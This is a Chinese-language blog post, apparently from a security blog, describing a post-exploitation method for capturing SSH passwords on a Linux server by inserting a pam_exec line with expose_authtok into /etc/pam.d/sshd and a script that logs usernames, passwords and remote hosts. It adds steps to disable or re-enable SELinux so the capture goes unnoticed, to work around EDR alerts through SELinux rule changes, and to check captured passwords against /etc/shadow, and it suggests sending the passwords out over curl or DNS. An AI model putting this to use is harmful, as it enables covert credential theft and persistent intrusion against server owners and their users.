PAM_EXEC 不用第三方应用和重启抓取ssh密码

前言

从老外那新学一招:https://www.youtube.com/watch?v=FQGu9jarCWY

开始

先说优点,系统自带不安装第三方应用,不用重启,和 strace 方法相比不会生成过大的文件,能自动清理自身不留痕迹,能远程发送

缺点:要临时关闭 selinux

pam_exec.so 是系统自带的详细自己查看文档就行,然后如果我们要记录密码呢,只需要在 /etc/pam.d/sshd 的第一行,加上

auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh
图片[1]-PAM_EXEC 不用第三方应用和重启抓取ssh密码-XSS博客

其中最后执行脚本的路径可以换,一定要放在第一行,有处理的优先级问题

然后在 /tmp/sshd.sh 里写上语句

#!/bin/sh
 
echo "$(date) $PAM_USER $(cat -) $PAM_RHOST $PAM_RUSER" >> /tmp/123.log

还要记住一定要设置所有用户得可执行权限!!! chmod 777 /tmp/sshd.sh 或者 chmod u+x /tmp/sshd.sh,不然也会执行失败
然后连接 ssh 到我们自己,就可以抓到密码辣

图片[2]-PAM_EXEC 不用第三方应用和重启抓取ssh密码-XSS博客

能写 bash 这下玩法就多了,比如 curl/​dns 发送密码,抓到密码自动删除等等

当然这会有两个问题,一个是默认要关闭 selinux,不然抓不到

问题一: selinux

当你修改完上面问题之后发现不生效,可以查看 /var/log/secure

会发现如下内容

图片[3]-PAM_EXEC 不用第三方应用和重启抓取ssh密码-XSS博客

这时候需要执行 setenforce 0 临时关闭 selinux 才可以执行抓脚本的密码

如果担心被发现可以在上面脚本最后加上 setenforce 1,抓到密码后恢复 selinux 状态

不过这样不太稳妥,可能会有 EDR 监控关闭 selinux 的行为,我们一关就告警。

还有一种方案就是修改 selinux 规则,在我们修改完规则之后,使用

audit2allow -a
audit2allow -a -M local
semodule -i local.pp

来修改 selinux 规则,但是有些发行版默认不带 au­dit2al­low,所以自行取舍

问题二:判断密码正确

默认这个方案是扫描所有密码然后储存,无法区分哪个是正确哪个是错误。

Ippsec 的方法是,把 auth optional pam_exec.so quiet expose_authtok /tmp/sshd.sh 的 ex­pose_au­th­tok 约束删了,然后放在认证成功后面

这样子如果脚本接收到一个空字符的信号,就代表程序 PAM 已经走到密码已经通过验证的那个步骤,那么就代表上一次抓取的密码是正确的,这一步骤可能造成条件竞争?我不知道,但是它也是能工作的,所以从视频里可以看到 ippsec 用 go 代码实现了这个流程

要是换我的话可能会用另一个暴力方法实现,那就是直接读取 /etc/​shadow,用我们脚本手动验证一遍 hash 是否正确。当然这可能会有更大的延迟,但是也许不会有条件竞争,懒得写了,咕咕咕。用到再说吧

没了

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容